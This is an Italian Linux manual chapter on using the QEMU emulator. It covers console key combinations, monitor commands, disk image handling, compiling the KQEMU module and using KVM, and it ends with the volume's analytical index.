L'incarnazione grafica di QEMU che esegue un sistema operativo, viene considerata dalla documentazione originale come la «console» di QEMU. A questo proposito si parla anche di «console virtuali», ma queste non vanno confuse con quelle del sistema GNU/Linux che probabilmente ha il ruolo di sistema ospitante. Quando la finestra della console di QEMU è attiva, valgono le combinazioni di tasti descritti nella tabella successiva.

Tabella 37.4. Combinazioni di tasti per il controllo della console di QEMU, funzionante in modalità grafica.

Combinazione di tasti	Descrizione
[*Ctrl Alt*]	Aggancia o sgancia la tastiera e il mouse dal sistema eseguito da QEMU.
[*Ctrl Alt f*]	Espande la finestra a occupare lo schermo intero, oppure riporta il funzionamento all'interno di una finestra.
[*Ctrl Alt 1*]	Seleziona la prima console virtuale di QEMU, corrispondente al sistema ospitato in esecuzione.
[*Ctrl Alt 2*]	Seleziona la seconda console virtuale di QEMU che dovrebbe corrispondere al «monitor», ovvero un terminale di controllo del funzionamento di QEMU.
[*Ctrl Alt 3*]	Seleziona la terza console virtuale di QEMU che dovrebbe corrispondere a un terminale associato alla porta seriale, ammesso che ciò sia stato previsto.
[*Ctrl Alt 4*]	Seleziona la quarta console virtuale di QEMU che dovrebbe corrispondere a un terminale associato alla porta parallela, ammesso che ciò sia stato previsto.

Nella console di QEMU, la cosa più importante è quello che viene chiamato «monitor», ovvero una console virtuale con una shell che consente di impartire dei comandi a QEMU, durante il suo funzionamento. La tabella successiva descrive alcuni di questi comandi.

Tabella 37.5. Alcuni comandi del monitor di QEMU.

Comando	Descrizione
`help` [*comando*] `?` [*comando*]	Mostra l'elenco dei comandi disponibili o una guida sintetica di quello indicato come argomento.
`quit` `q`	Conclude il funzionamento di QEMU.
`system_reset`	Riavvia il sistema ospitato controllato da QEMU.
`screendump` *file*	Salva l'immagine della prima console virtuale di QEMU in un file in formato PPM. Il file indicato si intende collocato nel file system del sistema ospitante.
`stop` `resume`	Ferma o fa riprendere l'emulazione.
`sendkey` *tasti*	Invia al sistema ospitato controllato dall'emulatore la combinazione di tasti indicata; per esempio, '**`sendkey ctrl-alt-f1`**' invia la combinazione di tasti [*Ctrl Alt F1*], la quale, se fosse premuta realmente, verrebbe intercettata dal sistema grafico, passando così alla prima console virtuale del sistema GNU/Linux ospitante.

37.3.4 Unità di memorizzazione e file-immagine

I file-immagine usati per rappresentare le unità di memorizzazione necessarie all'emulazione, possono avere formati differenti. Il formato più «semplice» è quello grezzo (viene individuato dalla parola chiave '**`raw`**') e può essere realizzato con gli strumenti comuni del sistema operativo ospitante. Altri formati possono essere utili per ridurre la dimensione occupata effettivamente nel file system ospitate, oppure per poter accedere a file-immagine di altri ambienti.

Per generare i formati particolari di file-immagine si utilizza il programma '**`qemu-img`**', ma qui non ne viene descritta la sintassi. A ogni modo non c'è nulla di complicato e si può consultare la pagina di manuale *qemu-img(1)*.

Oltre ai file-immagine, QEMU può accedere direttamente ai file di dispositivo, ammesso che sia avviato con i privilegi necessari. A questo proposito va osservato che con le opzioni '**`-hda`**', '**`-hdb`**',... '**`-hdd`**' si può fare riferimento a un file di dispositivo che rappresenta un disco intero, come '`/dev/hda`', '`/dev/hdb`',... mentre non è possibile indicare soltanto una partizione.

Per quanto riguarda l'accesso diretto ai file di dispositivo delle unità di memorizzazione, occorre considerare che questo non può avvenire in modo concorrente con il sistema operativo ospitante, perché si otterrebbe certamente un file system incoerente. In altri termini, nell'ambito dell'emulazione, se si accede a unità di memorizzazione a cui accede anche il sistema ospitante, è necessario limitarsi alla sola lettura.

È possibile offrire al sistema ospitato (sotto il controllato dell'emulatore) l'accesso a una directory del sistema operativo ospitante, mostrando questa directory come un'unità di memorizzazione avente un file system Dos-FAT. L'esempio seguente fa sì che il sistema ospitato veda la directory '`/tmp/mia/`' del sistema ospitante come se fosse la prima partizione del secondo disco PATA:

$ **`qemu -cdrom sistema.iso9660 -boot c -hdb fat:/tmp/mia`** [*Invio*]

È bene chiarire che l'opzione è '**`-hdb`**', ma in questo caso, si considera come se fosse la prima partizione.

Se si vuole fare la stessa cosa, ma mostrando che si tratta di un dischetto, occorre modificare leggermente il comando:

$ **`qemu -cdrom sistema.iso9660 -boot c -fda fat:floppy:/tmp/mia`** [*Invio*]

37.4 L'acceleratore KQEMU

Quando il sistema ospitante è GNU/Linux, è possibile compilare un modulo che dovrebbe consentire di ottenere qualche miglioramento nella velocità di funzionamento del sistema ospitato tramite QEMU. Questo modulo è noto con il nome KQEMU, ma non fa parte dei sorgenti standard del kernel Linux.

Per procedere alla compilazione ci possono essere varie modalità, ma se si parte dai sorgenti originali del kernel Linux, occorre compilare un proprio kernel, installarlo assieme ai moduli relativi, quindi, senza cancellare i vari file-oggetto, si procede alla compilazione del modulo KQEMU. In questa sezione viene mostrato un esempio a tale proposito, ma va tenuto in considerazione che ci può essere un metodo più semplice se si segue l'organizzazione della propria distribuzione GNU/Linux

Si suppone di avere installato i sorgenti del kernel Linux nella directory '`/usr/src/linux-2.6.22.6/`' e di avere installato quelli del modulo KQEMU nella directory '`/usr/src/kqemu-1.3.0/`'. Si procede con la configurazione del kernel Linux, sapendo che non richiede accorgimenti particolari per quanto riguarda QEMU:

`cd /usr/src/linux-2.6.22.6` [*Invio*]

`make menuconfig` [*Invio*]

La compilazione e l'installazione non viene descritta, ma si tratta solo di seguire il procedimento che si usa normalmente, con l'accortezza di non eliminare i file-oggetto generati dalla compilazione. Al termine si passa a configurare e compilare il modulo KQEMU:

`cd /usr/src/kqemu-1.3.0` [*Invio*]

`./configure --kernel-path=/usr/src/linux-2.6.22.6` [*Invio*]

`make` [*Invio*]

Se la compilazione si conclude con successo, si trova il file '`kqemu.ko`' nella directory '`/usr/src/kqemu-1.3.0/`'; questo file va copiato nella directory '`/lib/modules/2.6.22.6/misc/`':

`mkdir /lib/modules/2.6.22.6/misc` [*Invio*]

cp kqemu.ko /lib/modules/2.6.22.6/misc [*Invio*]

Una volta riavviato il sistema GNU/Linux ospitante, per far sì che il kernel in funzione sia quello appena compilato, si può caricare manualmente il modulo '`kqemu.ko`':

insmod /lib/modules/2.6.22.6/misc/kqemu.ko [*Invio*]

Ma logicamente conviene predisporre uno script e organizzare la procedura di avvio in modo che il modulo venga caricato automaticamente a ogni riavvio.

37.5 KVM

KVM è una funzionalità del kernel Linux per i microprocessori x86 con le estensioni necessarie alla virtualizzazione. Il programma usato per sfruttare la virtualizzazione attraverso tali funzionalità del kernel Linux, si usa sostanzialmente nello stesso modo di QEMU e, in mancanza delle estensioni per la virtualizzazione, si avvale di QEMU stesso. Il codice di KVM fa parte dei sorgenti del kernel standard.

- *Device Drivers*
  - *Virtualization*
    - <M> *Kernel-based Virtual Machine*
      - <M> *KVM for Intel processor support*
      - <M> *KVM for AMD processor support*

KVM è utile quando il microprocessore dispone di estensioni adatte alla virtualizzazione. Per verificare se queste sono disponibili basta controllare nel file '`/proc/cpuinfo`', dove deve apparire la sigla '**`vmx`**' oppure '**`svm`**', tra gli indicatori (*flag*).

A fianco dei moduli che vengono prodotti dalla compilazione del kernel Linux si usa un programma per avviare l'esecuzione del sistema ospitato. Questo programma dovrebbe essere '**`kvm`**':

```
kvm opzioni
```

La sintassi per l'uso del programma '**`kvm`**' è sostanzialmente la stessa di QEMU, quando riguarda l'emulazione per ospitare un sistema completo. A questo proposito va osservato che, in mancanza delle estensioni hardware per la virtualizzazione, '**`kvm`**' si avvale di '**`qemu`**', anche se in tal caso l'emulazione è molto più lenta rispetto a quanto si otterrebbe con la virtualizzazione assistita dalle estensioni hardware.

37.6 Riferimenti

- Fabrice Bellard, *QEMU*
  ⟨*http://wiki.qemu.org/Main_Page* ⟩
- *Kernel Based Virtual Machine*
  ⟨*http://www.linux-kvm.org/page/Main_Page* ⟩

[1] **QEMU** GNU GPL

Indice analitico del volume

. 881 .calendar 538 542 .cdservrc 1962 .cupsrc 1705 .dir_colors 1166 .disc-coverrc 1972 .fvwmrc 1802 .hushlogin 760 .inputrc 870 905 .libao 2022 .netrc 1123 .profile 848 .screenrc 659 .twmrc 1797 .vncrc 1830 .Xauthority 1737 1741 .Xdefaults 1853 .xinitrc 1730 1733 1797 1802 .xloadimage 1923 .xmodmap 1786 .XPaintrc 1924 .Xresources 1854 .xserverrc 1730 .Xsession 1810 1815 .xsession 1810 1815 / 1132 // 1493 386BSD 28 : 881 a.out 304 A2ps 1671 AbiWord 1882 abs() 1527 ac 813 Accellerated graphics port 383 accento morto 590 accesso 79 accesso al sistema 754 accesso remoto 1823 1875 *account* 70 73 92 105 754 *accounting* 810 accton 814 addgroup 801 addizione binaria 54 adduser 768 801 adduser.conf 801 adjtime 506 511 Agetty 665 AGP 383 alias 133 861 alias 881 alimentatore 353 alimentazione 302 ALSA 1989 Alsamixer 1984 Alsamixergui 1984 ambiente 940 AMI 415 AMR 386 Anacron 519 anacrontab 519 animate 1935 Aplay 1989 apropos 164 APT 244 266 apt.conf 266 apt-get 243 244 archive.org 30 archiviazione 1208 archivio Debian 235 Arecord 1989 Arithmetic 1353 *array* 1461 Artistic 23 AsCD 1961 at 522 at.allow 521 at.deny 521 ATA 309 311 367 370 atan2() 1527 ATAPI 367 atd 521 *atime* 1185 atq 522 atrm 522 atrun 521 ATX 362 Audacity 1999 audio 2052 audio 1985 Audio modem riser 386 audio stream 2035 Aumix 1980 automazione-ufficio 1879 AVI 2052 avvio 72 191 325 463 Award 414 AWK 1409 *background* 492 *backspace* 575 *backup* 1256 badblocks 1032 Banner 1352 barra spaziatrice 575 basename 1158 batch 522 BD 1088 1090 1099 bg 495 881 binmode 1517 BIOS 397 bitmap 1867 *bit rate* 1950 2048 *blank* 1271 *block mode* 370 Blu-ray 1099 Blu-ray disc 1088 *boot* 72 92 191 *bootstrap* 72 92 braille 733 BRE 1382 break 881 brltty.conf 739 BSD 23 28 buffer 97 bunzip2 1217 *bus* 303 bzip2 1217 C 31 *cache* 97 1028 1073 cal 529 calendar 536 542 cambio tensione 353 campionatura sonora 1948 campo 1289 cancellazione 120 121 1201 carattere 1858 carattere *jolly* 80 93 128 847 case 875 *case insensitive* 97 *case sensitive* 70 97 cat 91 116 1271 cattura dello schermo 1915 ccal 530 cd 87 881 Cdcd 1958 CDDA 1965 CDDB 1962 Cdlabelgen 1974 Cdparanoia 1965 cdsound-recorder 1987 CD-R 1099 CD-ROM 1088 CD-RW 1099 Center Europe summer time 503 Center Europe time 503 CEST 503 CET 503 cfdisk 1035 chage 797 changecom 1447 chattr 1176 chdir() 1516 checkpc 1646 chfn 771 chgrp 1170 chmod 137 1174 chmod() 1512 chomp() 1517 chop() 1517 chown 1169 1512 chr() 1527 CHS 1027 chsh 770 CIFS 832 cilindro 1022 cksum 1295 Clarified Artistic License 23 clear 634 *client* 94 client.conf 1705 cliente 94 *clipboard* 1857 clock 509 Cloop 1104 close 1517 codice di interruzione di riga 1270 col 1279 colcrt 1279 collegamento 76 125 1186 collegamento fisico 1187 collegamento simbolico 1187 colrm 1279 column 1278 comando di *shell* 858 comando interno 880 comm 1288 command 881 complemento alla base 52 complemento a due 54 complemento a uno 54 completamento automatico 127 compressione 1215 *computer* 60 64 comunicazione tra i processi 458 condotto 82 83 96 132 458 846 859 963 conduttura 82 83 96 132 846 859 963 configurazione del *kernel* 297 323 configure 224 Configure.help 323 Configure-debian 248 console 341 console 625 667 consolechars 642 console virtuale 106 592 contabilità di sistema 810 contenuto delle *directory* 1162 continue 881 <*Control c*> 458 <*Control* \> 458 convert 1932 copia 120 121 1186 copia di sicurezza 1218 1256 *copyleft* 20 29 *copyright* 19 *core* 97 *core dump* 457 cos() 1527 cp 88 120 121 1190 Cpio 1208 Cramfs 1107 create_compressed_fs 1104 Creative Commons 30 cron 513 Cron 512 crontab 513 517 Cruft 246 crypt() 767 csplit 1283 cstream 1201 *ctime* 1185 Cups 1694 1699 cupsaccept 1700 cupsd.conf 1702 1709 cupsdisable 1700 cupsenable

1700 cupsreject 1700 CurlFtpFS 1123 cut 1289 *daemon* 72 98 daemon 499 data di accesso 1185 data di creazione 1185 data di modifica 1185 date 506 *datei* 74 Daylight savings time 503 Dcd 1956 dd 1196 ddrescue 1199 Debconf 248 Debian 235 Deborphan 247 debugfs 1238 1239 define 1442 defined() 1528 delete() 1528 Delsafe 1246 demone 72 98 497 depmod 332 *desktop* 1815 df 118 1069 di 1069 Dialog 951 die() 1529 diff 1302 differenza tra i *file* 226 1302 dir 1162 dircolors 1166 *directory* 74 111 1156 *directory* corrente 111 *directory home* 113 *directory* personale 113 dirname 1159 DIR_COLORS 1166 dischetto 308 disco 1018 disco fisso 308 309 disco magneto-ottico 1143 disco RAM iniziale 341 disco senza partizioni 1143 Disc-Cover 1972 disc-cover.conf 1972 disktype 1040 display 1936 dispositivo 156 335 dispositivo di memorizzazione 181 dispositivo di puntamento 646 1718 dissipazione 358 divert 1448 divisione binaria 56 dll.conf 1903 dls 1245 DMA 370 dnl 1447 do() 1529 documentazione 159 documentazione FAQ 170 documentazione interna 161 documentazione ipertestuale 166 documentazione LDP 170 documentazione specializzata 170 documentazione tradotta 162 dog 1275 dominio 94 doschk 1046 dosfsck 1044 *dot-clock* 1753 Dpkg 240 dpkg-reconfigure 248 dpkg-reconfigure locales 559 dpkg-scanpackages 276 280 driveprm 1143 Dselect 243 254 dsp 1985 DST 503 du 118 1071 1167 dumpe2fs 1042 dumpkeys 598 DVD 1090 2069 DVD+rw-format 1101 DVD+rw-tools 1101 Dvdauthor 2071 2073 Dvdbackup 2071 DVDStyler 2088 DVD-ROM 1088 DVD±R 1099 DVD±RW 1099 DVI 1605 dvi2fax 1617 dviconcat 1617 dvicopy 1615 dvidvi 1616 Dvilj 1612 dvipng 1618 Dvips 1606 dvired 1619 dviselect 1615 e2fsck 1043 E2undel 1250 Eawpatches 2014 echo 881 914 942 *editing* 1321 editoria elettronica 1533 edquota 1086 *effective user id* 754 egrep 1392 EHCI 391 ehci-hcd.ko 395 EIDE 373 EISA 381 elaboratore 60 64 elaboratore cliente 94 elaboratore servente 95 ELF 304 El-Torito 1091 EncFS 1128 encfsctl 1130 Enscript 1676 env 940 eof 1517 EPS 1577 eps2eps 1581 Eqn 1557 ERE 1382 *escape* 130 849 eseguibile 86 145 304 926 espansione 853 espressione 1468 espressione aritmetica 880 espressione regolare 98 1381 1390 1497 estensione .mg 2008 estensione .mid 2006 estensione .midi 2006 Etherape 1878 Ethernet 328 eval 881 eval() 1529 exec 881 exec() 1525 Exiftool 1895 exists() 1528 exit 848 881 exit() 1529 *exit status* 859 exp() 1527 expand 1291 export 881 expr 961 Ext2 93 181 Ext3 93 181 Ext4 93 181 Extended industry standard architecture 381 EXTLINUX 196 202 extract_compressed_fs 1104 factor 1318 false 829 957 falselogin 829 falselogin.conf 829 FAQ 170 FAT 93 fb0 643 fbcon 643 fcntl 1517 fdformat 152 1142 fdisk 183 1033 FFmpeg 2055 fg 495 881 fgrep 1392 FHS 1131 *fichier* 74 FIFO 458 1224 fig2dev 1886 *file* 65 894 file 117 1166 fileno 1517 *file*-immagine 1144 *file-make* 224 File-roller 1874 *file* aperto 482 *file crontab* 512 *file* di dispositivo 335 *file* di testo 141 1270 1321 file eseguibile 86 *file manager* 1871 *file* manager 1337 *file* normale 74 *file* PPD 1649 *file* temporaneo 940 *file system* 65 74 152 1032 1032 1131 *file system* compresso 1104 *file system* Unix 1028 filmato 2047 2052 2054 filtro di stampa 1655 1657 *finalization* 1089 Find 151 1394 fine lavoro 106 firma MD5 1296 firma SHA1 1297 fissamaiuscole 575 589 *fixation* 1089 Flac 2025 flock 1517 *floppy* 308 FLOSS 30 fls 1241 fmt 1276 fold 1278 *font* 1858 Foomatic-rip 1669 for 874 1476 foreach 1476 *foreground* 492 Foremost 1243 1245 foremost.conf 1243 forloop 1446 formattazione 1032 Fortune 1357 FOSS 30 *frame buffer* 643 645 free 486 FreeAmp 2032 2040 FreeBSD 28 fsck 1045 fsck.ext2 1043 fsck.ext3 1043 fsck.ext4 1043 fsck.msdos 1044 fstab 1066 1078 1121 funzione 878 FUSE 1118 fuse.conf 1119 Fuser 482 fusermount 1118 fusibile 355 fuso orario 828 Fvwm 1802 gcal 533 Gcd 1961 Gdialog 951 Gdm 1814 genisoimage 1091 geometria del disco 1022 gestione delle immagini 1915 gestore di *file* 1337 1871 gestore di finestre 1797 1806 gestore di sessione 1810 1815 getc

1517 getfacl 1180 1180 getopts 881 888 gettext.sh 898 get-edid 1748 Ghostscript 1569 1660 GID 92 Gimp 1928 Gksu 1745 glob() 1516 *globbing* 80 93 128 847 Gmemusage 1877 GMT 503 Gnome 1817 gnomecc 1817 gnome-session 1817 Gnome-volume-control 1985 gnome-wm 1817 Gnome control center 1817 Gnome panel 1818 Gnome APT 269 GNU 29 Gnumeric 1881 Gpaint 1940 Gpart 1047 gpasswd 800 gpm 648 gpmdata 647 GQview 1942 GraphicsMagick 1938 Greenwich mean time 503 Grep 152 1392 Grip 1967 groff 1560 Groff 1533 group 757 groupadd 800 groupdel 801 groups 766 Growisofs 1101 grpck 803 grpconv 799 grpunconv 799 GRUB 1 204 1098 gruppo di elaborazione 492 865 gruppo privato 778 gs 1569 gshadow 799 gtcd 1956 gtkrc 1649 Gtypist 712 gunzip 1215 gzcat 1215 gzip 1215 *hard link* 1187 hash 881 *hash* 1465 hd 1298 hd* 374 head 1281 hex() 1527 hexcat 1301 hexdump 1298 *host* 94 hostid 555 hostname 554 554 hosts.equiv 1646 hosts.lpd 1646 HOWTO 170 HPIJS 1576 1660 htop 480 hwclock 510 i18n 98 icat 1241 Icecast 1 2036 id 766 IDE 309 367 373 identità efficace 754 identità reale 754 identità salvata 754 IEEE 1003.1 31 if 876 1472 ifdef 1445 ifelse 1445 IJS 1660 ils 1241 *im* 1793 ImageMagick 1930 *implementation* 98 import 1935 include 1448 indice 1089 Industry standard architecture 379 inetd.conf 1903 info 166 Init 463 Initrd 341 Initrd tools 344 initscript 468 468 inittab 465 Init System V 463 inizializzazione 1032 innesto di un *file system* 93 1059 *inode* 1028 1029 inputrc 870 905 *input method* 1793 insmod 330 install 1195 installazione 179 installazione di applicativi 224 int() 1527 internazionalizzazione 98 Internet Archive 30 interprete dei comandi 844 interruzione di riga 93 invito della *shell* 845 ioctl 1517 IPC 458 IPP 1694 ISA 379 Isolinux 1096 ISOLINUX 201 Isosize 1148 ISO 13346 1088 ISO 9660 1088 ISO 9945 31 ISO 9995-7 591 ISRC 1946 issue 663 *job* 95 jobs 493 881 *job* di *shell* 492 865 join 1290 Joliet 1091 jpeg2yuv 2057 Kappfinder 1821 Kaptain 957 *kartei* 74 kbd_mode 593 Kcontrol 1820 KDE 1818 Kdm 1815 *kernel* 68 291 325 keys() 1528 Khelpcenter 1823 kill 490 496 881 kill() 1525 killall 490 killall5 490 klogd 750 Kmenuedit 1821 Kolourpaint 1939 Konqueror 1873 Kpersonalizer 1819 KQEMU 2101 Ktouch 697 l10n 98 LAME 2019 last 811 lastcomm 815 lastlog 760 LBA 370 1027 ld.so.cache 228 ld.so.conf 228 ldconfig 228 ldd 230 LDP 170 led 594 less 159 libao.conf 2022 Libdelsafe 1246 1247 libpam.so 804 libreria 228 Libundel 1250 licenza del *software* 19 *link* 76 125 link() 1512 links.conf 337 Linux 29 LinuxInfo 556 lista 1461 lista di comandi 860 listen 2039 livello di esecuzione 96 ln 89 125 1193 loadkeys 597 locale 558 824 locale.alias 559 locale.gen 559 localedef 558 locale-gen 559 localizzazione 98 817 localtime 506 828 *local time* 503 *log* 95 log() 1527 logger 749 login 755 *login* 79 92 755 login.defs 784 *login* grafico 1810 logname 765 *logout* 79 92 Logrotate 752 logrotate.conf 752 *loop* 1144 lp 1642 lp0 1631 lpadmin 1700 lpc 1645 lpd 1635 1641 lpd.conf 1646 lpd.perms 1646 lpinfo 1699 lpq 1643 lpr 1635 1642 lprm 1644 LPRng 1646 1683 ls 86 114 1162 lsattr 1177 lsdev 547 lshw 552 lsmod 331 Lsof 482 lspci 549 lspci 382 lstat() 1512 lsusb 551 luit 640 m// 1493 M4 1437 macchina da scrivere 567 675 Magicfilter 1662 *magic number* 117 927 1166 1892 magic SysRq 346 *main memory* 425 Make 226 MAKEDEV 336 1134 1227 1227 MAKEDEV.local 1134 *makefile* 224 Makefile 224 make-kpkg 296 man 164 man.config 163 825 manpath.config 163 825 mappa della tastiera 595 mappa della tastiera italiana 583 maschera dei permessi 139 mboot.c32 201 MBR 193 1025 mc 1337 MCA 381 Mcedit 1346 mcedit 1346 mcookie 1741 md5sum 1296 Mdadm 1111 1116 mdstat 1111 memdisk 200 memoria *cache* 97 1028 1073 memoria centrale 425 memoria di massa 1017 1032 memoria tampone 97 memoria virtuale 182 1074 Memtest86+ 426 menu.c32 200 menu.lst 211 messaggio del *kernel* 750 metacarattere 93 128 847 Micro channel architecture 381 Midge 2008 MIDI 2006 midi2mg 2008 Midnight Commander

1337 MinGetty 664 Minix 29 29 MJPEG 2052 Mjpegtools 2057 MJPG 2052 mkcramfs 1107 mkdir 87 121 1157 mkdir() 1516 mkdosfs 1039 mke2fs 183 1038 mkfifo 458 1225 mkfs 153 1040 mkfs.ext2 183 1038 mkfs.ext3 183 1038 mkfs.ext4 183 1038 mkfs.msdos 1039 mkinitrd 344 mkisofs 1091 mknod 336 1226 mksquashfs 1106 mkswap 183 1075 mkzftree 1107 modeline 1767 modifica della parola d'ordine 109 modprobe 332 modprobe.conf 329 332 334 modulo del *kernel* 329 modulo ehci_hcd 395 modulo ohci_hcd 395 modulo uhci_hcd 395 mogrify 1934 moltiplicazione binaria 55 monoprogrammazione 92 montage 1935 more 159 motd 759 mount 154 1063 *mount* 93 1059 mounts 1068 mouse 647 *mouse* 646 1718 1777 MP3 1951 1967 2028 2029 MP3blaster 2029 MP3info 2016 MPEG 2052 2054 mpeg2enc 2059 Mpg321 2028 Mplayer 2052 mplex 2061 MRL 2052 MS-SYS 196 mtab 1068 *mtime* 1185 multimedia 2052 multiprogrammazione 92 mv 91 124 1201 namei 1159 nastro 1017 Nautilus 1872 ncal 532 net.conf 1903 NetBIOS 832 NetBSD 28 newgrp 763 *new-line* 93 1270 nice 526 nl 1272 nodo di rete 94 nohup 498 nologin 759 nome a dominio 94 nome di dominio 94 Normalize 1997 No init found. Try passing init= option to kernel 348 Nroff 1533 NTFS 1045 ntfsmount 1125 NTFSprogs 1045 1125 NTFS-3g 1125 ntfs-3g 1125 null 156 nvidiafb 643 oct() 1527 od 1274 Ogg 1953 ogg123 2022 oggdec 2022 oggenc 2022 ogginfo 2022 Ogg Vorbis 2022 OHCI 391 ohci-hcd.ko 395 OIN 30 open 652 open() 1517 OpenBSD 28 OpenOffice.org 1879 Open Invention Network 30 Open Source 30 operatore 1468 ora locale 503 ord() 1527 ordinamento 1286 Orphaner 247 OSS 30 pacchetto Debian 235 pacchetto di applicazioni 224 231 235 pacct 814 PAM 804 pam.conf 805 panel 1818 parallela 308 parametri di avvio 325 parametro 851 parametro di avvio 191 parola d'ordine 92 parola d'ordine oscurata 781 parse-edid 1748 Parted 1048 Partimage 1053 partizione 1025 1033 1046 partizione di scambio 183 partizione di scambio per la memoria virtuale 1074 partizione Dos-FAT 1037 partizione estesa 1026 partizione Linux-nativa 183 partizione logica 181 partizione primaria 1026 partizione Second-extended 183 *passphrase* 92 passwd 756 770 783 passwd.md5 1711 *password* 92 *password shadow* 781 paste 1290 PATA 367 370 patch 226 1312 *path* 1158 pathchk 1161 pcal 538 PCI 381 PCI Express 387 pcmC0D0c 1985 pcmC0D0p 1985 Pconsole 659 PDF 1619 pdffonts 1624 pdfimages 1624 pdfinfo 1625 pdftops 1623 1623 percorso 1158 percorso degli eseguibili 1168 Peripheral component interconnect local bus 381 permessi 76 137 personalizzazione 817 pezza 226 Pic 1557 PID 95 pidof 482 pinky 764 PIO 370 370 *pipe* 458 pipe 1517 *pipeline* 82 83 96 132 846 859 963 *pipe* con nome 1224 pittogramma 591 play-sample 1987 Plug & Play 308 png2yuv 2057 POM 1355 pop() 1528 porta parallela 308 POSIX 31 PostScript 1567 1579 1584 1660 PPD 1649 1666 pr 1277 Primes 1354 primo piano 492 print() 1517 printcap 1636 printf 942 printf() 1517 priorità 526 priorità di un processo elaborativo 461 privilegio di un processo elaborativo 462 procedura di accesso 92 755 procedura di inizializzazione 463 procedura di inizializzazione del sistema 95 processo 458 processo di elaborazione 72 134 456 processo in primo piano 492 processo sullo sfondo 492 Procinfo 545 procinfo 545 profile 848 programma 86 programma cliente 94 programma di servizio 70 97 1855 programma di utilità 70 97 programma servente 95 *prompt* 845 871 protezione 849 protocollo 94 *proxy* 94 ps 134 472 475 ps2ps 1581 psbook 1591 psnup 1591 psresize 1589 psselect 1589 pstoedit 1886 pstops 1592 pstree 472 477 PSUtils 1588 push() 1528 Putty 1875 pwck 803 pwconv 793 pwd 881 1158 pwunconv 794 PXELINUX 203 q// 1491 QEMU 2096 qq// 1492 quota 1088 quota 1078 quotacheck 1081 quotaoff 1083 quotaon 1083 *quoting* 849 qw// 1493 QWERTY 573 QWERTZ 573 qx// 1492 QZERTY 573 RAID-1 1109 Rain 1356 RAM 326 425 RE 1382 read 881 948 read() 1517 Readline 903 readlink() 1512 README 159 readonly 881 Read-edid 1748 *real user id* 754 *record* 93 1289 Recover 1242 recupero file cancellati 1238 *regexp* 98

1381 1390 register 928 registrazione 95 registro del sistema 745 *regular expression* 98 *regular file* 74 94 rename() 1512 renice 526 repquota 1087 require() 1529 reset 634 return 881 rev 1275 Rhythmbox 2040 ricerca 151 ridirezione 82 132 862 ridondanza 1109 RIFF WAV 1965 1967 1987 1987 risorsa 1852 risparmio energetico 302 Rlpr 1650 rm 90 120 1202 rmdir 121 1157 rmdir() 1516 rmmod 330 Rock Ridge 1090 *root* 70 *run level* 96 s// 1494 sa 816 Samba 832 sampling 1948 sampling rate 1948 SANE 1901 saned.conf 1903 SATA 375 *saved user id* 754 savelog 751 scalar() 1528 scalare 1455 scanimage 1911 scanner 1901 scarico della memoria 457 schermo 1864 SCIM 1793 Screen 654 SCREENDIR 654 screenrc 659 script 652 *script* 96 846 873 scrivania 1815 SCSI 311 sdd 1201 Second-extended 93 181 securetty 759 Secure-delete 1251 Secure Shell 1744 SED 1401 seek() 1517 segnale 458 488 select 948 select() 1517 separazione di un *file system* 93 1059 seq 1318 servente 95 *server* 95 services 1903 sessione 1089 1815 set 881 892 914 setcd 1146 setfont 642 setleds 594 setquota 1085 setterm 635 settore 1022 setxkbmap 1770 *set group id* 1172 *set user id* 1172 sfdisk 1035 sfill 1251 sfondo 492 SGID 1172 sha1sum 1297 shadow 758 781 *shadow password* 781 *shell* 68 96 127 492 844 shells 771 829 *shell* POSIX 848 *shell regexp* 847 *shell regular expression* 847 *shell* standard 848 shift 881 1446 shout 2038 showkey 596 shred 1208 SI 98 1155 sin() 1527 sinclude 1448 sistema binario 37 sistema decimale 36 sistema esadecimale 40 Sistema internazionale di unità 98 1155 sistema operativo 60 67 sistema ottale 38 sleep 964 sleep() 1525 smb.conf 833 SMB/CIFS 832 smbpasswd 835 *socket* di dominio Unix 97 socklist 548 *software* 19 software libero 20 somma binaria 54 sorgente 224 sort 1286 sostituzione 128 853 sottrazione binaria 55 sound-recorder 1987 sources.list 244 252 266 Sox 1990 spazio 1271 spegnimento 106 *splashimage* 218 splice() 1528 split 1282 spostamento 124 1201 sprintf() 1517 sqrt() 1527 Squashfs 1106 SSHfs 1121 stampa 1567 1629 1683 1694 *standard error* 83 96 *standard input* 82 96 *standard output* 82 96 startx 1729 1731 stat 1072 stat() 1512 status 928 stazione grafica 1718 storico dei comandi 845 Strace 486 *streaming* 2052 streaming video 2054 Streamripper 2041 2042 Streamtuner 2041 stream audio 2035 stringhe 1490 stty 628 su 761 subroutine 1481 suddivisione in parole 847 SUID 1172 sum 1295 superformat 1143 SUS 31 *swap* 182 1074 swapoff 1076 swapon 183 1076 switchto 653 *symbolic link* 1187 symlink() 1512 sync 1073 Sysctl 462 sysctl.conf 462 SYSLINUX 196 syslog.conf 747 syslogd 746 syslogd-listfiles 751 SysRq 346 system() 1525 system.fvwmrc 1802 system.twmrc 1797 1797 1797 tabulatore 577 tac 1272 tail 1282 Tar 1211 tastiera 567 587 592 595 601 608 675 1767 1777 tasto morto 590 Tbl 1557 TCD 1956 tcd 1956 TCP/IP 95 tee 964 telescrivente 577 tell() 1517 tempfile 940 tempo universale 503 termcap 631 Termcap 631 terminale 98 626 terminale a caratteri 625 641 1856 terminale virtuale 106 654 Terminfo 631 test 881 916 958 testina 1022 Tetris 1358 Theora 2052 The Sleuth Kit 1241 1245 time() 1525 times 881 times() 1525 *timezone* 828 *time sharing* 92 *time slice* 92 Timidity++ 2014 Toolame 2021 top 479 touch 119 1185 tr 1292 tr// 1496 traccia 1022 1089 Transcode 2062 trap 497 881 Troff 1533 true 881 957 TSK 1241 TTY 98 626 tty 625 Tuxpaint 1941 Twm 1797 type 881 Typeit 721 typeset 881 UCB BSD 23 uDev 337 udev.conf 337 udevd 337 UDF 1088 UDMA 370 UHCI 391 uhci-hcd.ko 395 UID 92 ul 1280 ulimit 881 918 Ultra ATA 373 Ultra DMA 370 *umask* 139 umask 881 umask() 1525 umount 154 1066 unable to open an initial console 341 348 unalias 881 uname 555 undefine 1444 undivert 1448 unexpand 1291 Unicode 636 UniFlash 416 uniq 1288 unità a dischetti 308 Universal coordinated time 503 Universal time 503 *Unix domain socket* 97 unless 1472 unlink 1207 unlink() 1512 *unmount* 93 unp 1223 unset 881 until 877 1473 update-alternatives 1359 uptime 485 UPX 1221 URI 95 URL 95 USB 388 391

